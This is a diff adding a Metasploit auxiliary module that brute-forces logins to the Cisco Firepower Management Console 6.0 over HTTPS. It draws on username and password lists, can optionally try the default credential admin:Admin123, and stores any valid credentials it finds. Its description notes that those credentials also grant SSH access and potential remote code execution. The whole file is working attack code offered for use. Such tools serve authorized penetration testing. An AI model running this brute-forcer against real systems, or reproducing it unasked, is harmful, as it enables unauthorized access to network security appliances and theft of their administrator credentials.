|
| 1 | +## |
| 2 | +# This module requires Metasploit: http://metasploit.com/download |
| 3 | +# Current source: https://github.com/rapid7/metasploit-framework |
| 4 | +## |
| 5 | + |
| 6 | +require 'msf/core' |
| 7 | +require 'metasploit/framework/login_scanner/cisco_firepower' |
| 8 | +require 'metasploit/framework/credential_collection' |
| 9 | + |
| 10 | +class MetasploitModule < Msf::Auxiliary |
| 11 | + |
| 12 | + include Msf::Exploit::Remote::HttpClient |
| 13 | + include Msf::Auxiliary::AuthBrute |
| 14 | + include Msf::Auxiliary::Report |
| 15 | + include Msf::Auxiliary::Scanner |
| 16 | + |
| 17 | + def initialize(info={}) |
| 18 | + super(update_info(info, |
| 19 | + 'Name' => 'Cisco Firepower Management Console 6.0 Login', |
| 20 | + 'Description' => %q{ |
| 21 | + This module will attempt to authenticate to a Cisco Firepower Management console via HTTPS. |
| 22 | + The credentials are also used for SSH, which would potentially give you remote code |
| 23 | + execution. |
| 24 | + }, |
| 25 | + 'Author' => [ 'sinn3r' ], |
| 26 | + 'License' => MSF_LICENSE, |
| 27 | + 'DefaultOptions' => |
| 28 | + { |
| 29 | + 'RPORT' => 443, |
| 30 | + 'SSL' => true, |
| 31 | + 'SSLVersion' => 'Auto' |
| 32 | + } |
| 33 | + )) |
| 34 | + |
| 35 | + register_options( |
| 36 | + [ |
| 37 | + OptString.new('TARGETURI', [true, 'The base path to Cisco Firepower Management console', '/']), |
| 38 | + OptBool.new('TRYDEFAULT', [false, 'Try the default credential admin:Admin123', false]) |
| 39 | + ], self.class) |
| 40 | + end |
| 41 | + |
| 42 | + |
| 43 | + def scanner(ip) |
| 44 | + @scanner ||= lambda { |
| 45 | + cred_collection = Metasploit::Framework::CredentialCollection.new( |
| 46 | + blank_passwords: datastore['BLANK_PASSWORDS'], |
| 47 | + pass_file: datastore['PASS_FILE'], |
| 48 | + password: datastore['PASSWORD'], |
| 49 | + user_file: datastore['USER_FILE'], |
| 50 | + userpass_file: datastore['USERPASS_FILE'], |
| 51 | + username: datastore['USERNAME'], |
| 52 | + user_as_pass: datastore['USER_AS_PASS'] |
| 53 | + ) |
| 54 | + |
| 55 | + if datastore['TRYDEFAULT'] |
| 56 | + print_status("Default credential admin:Admin123 added to the credential queue for testing.") |
| 57 | + cred_collection.add_public('admin') |
| 58 | + cred_collection.add_private('Admin123') |
| 59 | + end |
| 60 | + |
| 61 | + return Metasploit::Framework::LoginScanner::CiscoFirepower.new( |
| 62 | + configure_http_login_scanner( |
| 63 | + host: ip, |
| 64 | + port: datastore['RPORT'], |
| 65 | + cred_details: cred_collection, |
| 66 | + stop_on_success: datastore['STOP_ON_SUCCESS'], |
| 67 | + bruteforce_speed: datastore['BRUTEFORCE_SPEED'], |
| 68 | + connection_timeout: 5, |
| 69 | + http_username: datastore['HttpUsername'], |
| 70 | + http_password: datastore['HttpPassword'], |
| 71 | + uri: target_uri.path |
| 72 | + )) |
| 73 | + }.call |
| 74 | + end |
| 75 | + |
| 76 | + |
| 77 | + def report_good_cred(ip, port, result) |
| 78 | + service_data = { |
| 79 | + address: ip, |
| 80 | + port: port, |
| 81 | + service_name: 'http', |
| 82 | + protocol: 'tcp', |
| 83 | + workspace_id: myworkspace_id |
| 84 | + } |
| 85 | + |
| 86 | + credential_data = { |
| 87 | + module_fullname: self.fullname, |
| 88 | + origin_type: :service, |
| 89 | + private_data: result.credential.private, |
| 90 | + private_type: :password, |
| 91 | + username: result.credential.public, |
| 92 | + }.merge(service_data) |
| 93 | + |
| 94 | + login_data = { |
| 95 | + core: create_credential(credential_data), |
| 96 | + last_attempted_at: DateTime.now, |
| 97 | + status: result.status, |
| 98 | + proof: result.proof |
| 99 | + }.merge(service_data) |
| 100 | + |
| 101 | + create_credential_login(login_data) |
| 102 | + end |
| 103 | + |
| 104 | + |
| 105 | + def report_bad_cred(ip, rport, result) |
| 106 | + invalidate_login( |
| 107 | + address: ip, |
| 108 | + port: rport, |
| 109 | + protocol: 'tcp', |
| 110 | + public: result.credential.public, |
| 111 | + private: result.credential.private, |
| 112 | + realm_key: result.credential.realm_key, |
| 113 | + realm_value: result.credential.realm, |
| 114 | + status: result.status, |
| 115 | + proof: result.proof |
| 116 | + ) |
| 117 | + end |
| 118 | + |
| 119 | + def bruteforce(ip) |
| 120 | + scanner(ip).scan! do |result| |
| 121 | + case result.status |
| 122 | + when Metasploit::Model::Login::Status::SUCCESSFUL |
| 123 | + print_brute(:level => :good, :ip => ip, :msg => "Success: '#{result.credential}'") |
| 124 | + report_good_cred(ip, rport, result) |
| 125 | + when Metasploit::Model::Login::Status::UNABLE_TO_CONNECT |
| 126 | + vprint_brute(:level => :verror, :ip => ip, :msg => result.proof) |
| 127 | + report_bad_cred(ip, rport, result) |
| 128 | + when Metasploit::Model::Login::Status::INCORRECT |
| 129 | + vprint_brute(:level => :verror, :ip => ip, :msg => "Failed: '#{result.credential}'") |
| 130 | + report_bad_cred(ip, rport, result) |
| 131 | + end |
| 132 | + end |
| 133 | + end |
| 134 | + |
| 135 | + def run_host(ip) |
| 136 | + unless scanner(ip).check_setup |
| 137 | + print_brute(:level => :error, :ip => ip, :msg => 'Target is not Cisco Firepower Management console.') |
| 138 | + return |
| 139 | + end |
| 140 | + |
| 141 | + bruteforce(ip) |
| 142 | + end |
| 143 | + |
| 144 | +end |
0 commit comments